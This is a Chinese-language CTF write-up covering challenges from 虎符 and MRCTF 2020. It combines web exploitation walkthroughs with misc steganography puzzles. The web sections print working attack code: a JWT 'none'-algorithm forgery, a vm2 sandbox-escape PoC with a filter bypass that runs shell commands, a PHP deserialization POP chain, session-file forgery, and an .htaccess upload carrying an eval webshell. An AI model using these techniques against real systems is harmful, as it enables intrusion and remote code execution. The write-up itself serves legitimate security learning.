0%

虎符&MRCTF 2020

这次复现的题目是师兄本周开会讲的题目,我都复现了一下,又学到了新的东西。题目具体详情可以参考师兄的文章:传送门

虎符

easy_login

首先打开题目源码发现static/js/app.js,进去后发现koa

利用 koa-static 错误配置的源码泄露获得源码,进行审计。直接读取app.js

koa是基于Node.js的web框架。然后再进去controller.js

再进入controllers/api.js。api是通过抓包发现的

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

jwt可以通过这个网站解析:传送门

image-20200423184848460

了解JWT的组成后,我们总结JWT可能存在如下的安全问题:

1.修改头什么的算法为none

2.若secret较短可以直接使用c-jwt-cracker

3.秘钥泄露

3.修改算法RS256为HS256

在这道题中明显是修改算法为none进行绕过。

这里就是注册的时候会生成一个jwt,登录的时候验证这个jwt。

这里写一个脚本构造出jwt

1
2
3
4
5
6
7
8
9
10
11
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
secretid=0.5;
username="admin";
password="admin";
rolled="no"
const secret = crypto.randomBytes(18).toString('hex');
const token = jwt.sign({secretid, username, password,rolled}, secret, {algorithm: 'none'});
console.log(token);
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString());
console.log(sid)

这里要注意的是先注册一个账号然后再提交上面生成的JWT,因为不能让global.secrets这个数组为undefined,我们需要注册一个账号是的其初始化。

原理是用小数绕过 secretid 的限制,将 secret 置空。发现本题考点为利用 node 的 jsonwebtoken 库的已知缺陷:当 jwt secret 为空时,jsonwebtoken 会采用 algorithm none 进行解密。

伪造 secretid 为小数的 token,让 secret 成为 undefined,导致 algorithm 为 none 进而使用户变成 admin

然后这是脚本生成的jwt:

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6MC41LCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGxlZCI6Im5vIiwiaWF0IjoxNTg3NjQ0MDk4fQ.

然后改包发送:

image-20200423211337775

再放包放到home这个页面就可以刷新网页进入getflag的界面了。再抓getflag的包发送即可看到flag。

这上面是师兄的思路,官方的脚本如下:

1
2
3
4
5
6
7
8
9
10
import jwt
import requests
base_url = "http://290fb4fb-dc63-46e7-988d-37edb35934ad.node3.buuoj.cn"
s = requests.Session()
res = s.post(base_url+'/api/register', data={"username": "hhh", "password": "hhh"})
token = jwt.encode({"secretid":0.333,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
res = s.post(base_url+'/api/login', data={"username": "admin", "password": "admin", "authorization": token})

res = s.get(base_url+'/api/flag')
print(res.text)

直接运行也可以得到flag。

just_escape

打开F12发现这个:X-Powered-By:Express

运行代码 run.php?code=Error().stack 根据报错信息发现是 vm2 的沙盒逃逸问题。搜索可得 vm2 最新沙盒逃逸 poc:传送门

1
2
3
4
5
6
7
8
(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
})()

直接使用的话发现存在waf:

image-20200423213317676

fuzz发现程序过滤了以下关键字:

process, exec, eval, constructor, prototype, Function, 加号, 双引号, 单引号被过滤

绕过方式如下:

1
`${`${`return proces`}s`}`

最后修改为:

1
2
3
4
5
6
7
8
(function(){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

然后发现其他人的writeup直接在code后面加个[]就可以了。emmm

1
2
3
4
5
6
7
8
http://90694257-8da6-479a-9ea9-cc97c08e88cd.node3.buuoj.cn/run.php?code[]=(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
})()

BabyUpload

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
 <?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

如何得到flag呢,session必须得是admin其次必须存在success.txt。

首先这里两个POST参数,direction是用来选择上传或读取的,attr会被拼接到路径中。

1
2
3
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;

再看upload的部分

1
2
3
4
5
6
7
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

这里会将路径拼接,也就是:

1
/var/babyctf/$_POST['attr']/文件名_sha256(临时文件名)

从源码开头的:

1
session_save_path("/var/babyctf/");

可以得知修改attr为空,文件名为sess,便可以伪造session文件。

下一步就是利用download读取自己的session,发现session内容格式,得知session引起为php_binary。

image-20200424145858004

在源代码里面是这样的

image-20200424145951565

然后直接复制出来保存在sess的文件里面,并把guest改为admin。并上传到靶机上面:

image-20200424150334856

然后可以测试出来sess的文件的hash值:

image-20200424150522602

然后可以用download的方式查看一下是否上传成功了:

image-20200424150642155 image-20200424150705164

可以看到已经成功改为admin。

不过还需要有一个success.txt,由于他这里用的是file_exists,所以我们令attr=success.txt使之成为一个路径也能通过检测。然后这里的文件随便填就行。

image-20200424154207639

这样两个条件都满足了,抓包改PHPSESSID即可得到flag。

image-20200424154520097

MRCTF

你能看懂音符吗

用010打开后改一下发现文件头被改,把61 52改为52 61即可。

然后发现打开docx,显示隐藏文字,然后发现一段音符:

♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§=

然后直接在这个网站解密即可得到flag:传送门

不眠之夜

打开之后发现有很多图片,直接使用命令合在一起

1
montage *.jpg -geometry +0+0+0 ok.jpg

然后用gaps这个工具自动拼图:

1
gaps --image=ok.jpg --generations=50 --population=120 --size=50

寻找xxx

打开wav文件电话拨号声,直接扔dtmf读取出来,然后手动去重,因为有干扰声。工具:传送门

使用工具的时候在dtmf-decoder.py文件里面把:

1
2
3
if __name__ == '__main__':
# load wav file
wav = wave.open('1.wav', 'r')

1.wav换成题目的wav即可。结果为:18684221609。

Hello_ misc

打开题目是一个压缩包和一张图片:

image-20200424211603839

binwalk这个try图片可以得到一个ZIP压缩包。

然后再用用stegsolve查看图片,Save Bin可直接得到图片:

image-20200424212518740

用图片上的密码打开ZIP压缩包。发现文档信息:

1
2
3
4
5
6
7
8
9
127
255
63
191
127
191
63
127
...

观察可知文档中只含有 127 255 63 191 这四个数字,将这四个数字转化为二进制,可以看到这四个数字的二进制形式中 只有最高两位的二进制数不同 ,将其最高两位提取出来组合在一起转化为ASCII,可以得到rar密码:

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
f = open('../out.txt','r')
a = f.readlines()
p = []
for i in a:
p.append(int(i))

s=''
for i in p:
if i ==63:
a = '00'
elif i== 127:
a= '01'
elif i== 191:
a='10'
elif i== 255:
a='11'
s +=a

result=''
for i in range(0,len(s),8):
result += chr(int(s[i:i+8],2))
print(result)

到rar包的解压密码:0ac1fe6b77be5dbe

解压可以得到一个zip包,看zip包里的内容(里面都是xml)可以知道这是一个 docx 文件,改后缀为docx得到最终的文件。

将文件内容全选改为深色,可以看到在文档的最下方藏有几串字符

image-20200424212849538

再base64解密:

image-20200424212915052

ezpop

首先说一下

PHP类中的__get__set函数。

当试图获取一个不可达属性时(比如private),类会自动调用__get函数。

当试图设置一个不可达属性时(比如private),类会自动调用__set函数。

举一个例子:

1
2
3
4
5
6
7
<?php
class Person{
public $name = '周伯通';
private $sex = '男';
}
$class = new Person();
echo $class->sex;

这里$sex声明了私用变量,私有变量或方法在类实例化是不能直接访问的,所以上面会抛出异常。

1
Fatal error: Uncaught Error: Cannot access private property Person::$sex 

然后改造一下:

1
2
3
4
5
6
7
8
9
10
<?php
class Person{
public $name = '周伯通';
private $sex = '男';
function __get($name){
echo '个人信息:'.$name.$this->sex;
}
}
$class = new Person();
echo $class->sex;

这里输出的是个人信息:sex男。

可以看出__get方法自动调用了,并可以访问私有变量。

再来看一下__set函数,同样也是先使用可达的私有属性:

1
2
3
4
5
6
7
8
9
10
<?php
class Person{
public $name = '周伯通';
private $sex = '男';
function __set($name, $val){
echo '个人信息:'.$name. $val;
}
}
$class = new Person();
$class->sex = '女';

输出:

1
个人信息:sex女

可以看到因为设置了不可达属性$sex,所以成功调用了__set函数并输出。

__invoke() 函数会在一个类被当成函数调用时被触发。例如:

1
2
3
4
5
6
7
8
9
10
11
<?php
class CallableClass
{
public function __invoke($param1, $param2)
{
var_dump($param1,$param2);
}
}
$obj = new CallableClass();
$obj(123, 456);
var_dump(is_callable($obj));

输出:

1
2
3
int(123)
int(456)
bool(true)

再来看看这道题目

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

反序列化直接分析,构造pop链,分析一下三个类。

Modifier类

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

可以看到include函数,文件包含漏洞,我们可以使用伪协议读取注释中flag.php中的内容。

这里有魔法方法__invoke当脚本尝试将对象调用为函数时触发,所以在脚本中,要把Modifier类调用为函数。

Show类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
  • __construct方法,接收参数$file$this->source = $file$file的值赋给source。而$file的值直接就是index.php,所以还是输出index.php
  • __toString方法,当前对象访问str再访问source,然后返回这个值,就是把类当作字符串使用时触发。
  • __wakeup方法,使用反序列化的时候触发,过滤一些协议,但是显而易见可以用filter

Test类

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}
  • __construct方法,把p对象变成一个数组。
  • __get方法,从不可访问的属性中读取数据会触发。

然后开始构造pop链:

因为最终是想调用文件包含函数,读取flag.php。所以要触发__invoke

__get将对象p作为函数调用,将p实例化为Modifier类,从而触发__invoke

然后__toString访问strsource属性,如果将str实例化为Test,因为Test类中不含source属性,从而触发__get方法。

__wakeup把对象当成字符串处理(做匹配的时候),触发__toString

最后是反序列化触发__wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}

class Test{
public $p;
}

$a = new Show('abc');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);//将字符串打印出来
echo urlencode(serialize($b));

然后得到的是一串base64,解码即可得到flag。

套娃

F12查看到

1
2
3
4
5
6
7
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

首先是对字符串的下划线进行统计,如果大于0就直接die()

但是下面需要接收一个包含下划线的参数b_u_p_t,而且它不能等于23333而正则匹配却要有23333。这里直接用%0a可以绕过。而php参数,空格和点都会变成下划线_。

payload

1
http://ecf196f2-c27e-427a-aecc-31e4ee6a3a28.merak-ctf.site/?b.u.p.t=23333%0a

得到secrettw.php文件名。

右键看源码存在一个jsfuck,直接丢谷歌浏览器解码得 post me Merak

post提交Merak得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

绕过IP的方法Client-IP: 127.0.0.1,使用data协议去绕过file_get_contents

逆向change函数

1
2
3
4
5
6
7
8
9
10
11
<?php
function dechange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return base64_encode($re);
}

echo dechange('todat is a happy day');
?>

exp

1
2
3
4
5
6
7
8
9
GET /secrettw.php?2333=data:text/html;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI= HTTP/1.1
Host: 17409a10-8159-4621-ac69-576be7b7bd12.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Client-IP: 127.0.0.1

PYwebsite

XFF绕过

ez_bypass

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

第一层的md5用数组绕过,?gg[]=1&id[]=2,第二层passwd是1234567a。

你传你🐎呢

Content-Type: image/png,然后传个.hatccess,内容为:

SetHandler application/x-httpd-php

再传个图片马过去1.jpg

1
<?php @eval($_POST['cmd']) ?>

蚁剑连接即可

Ezaudit

使用dirsearch

1
2
3
cd Documents/dirsearch

python3 dirsearch.py -u "url" -e *

扫目录扫到www.zip

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

随机数种子问题,用脚本将公钥整理成php_mt_rand的格式,脚本如下:

1
2
3
4
5
6
7
8
<?php
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
$str = "KVQP0LdJKRaV3n9D";
$randStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
}

得到

1
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

还原成种子为:1775196155

接下来还原密钥即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
mt_srand(1775196155);

function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
{
echo mt_rand(0, strlen($strings1) - 1)."---";

}

return $public_key;
}

function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}

echo public_key();
echo private_key();

然后进login.html

输入万能密码和密钥和用户名crispr即可。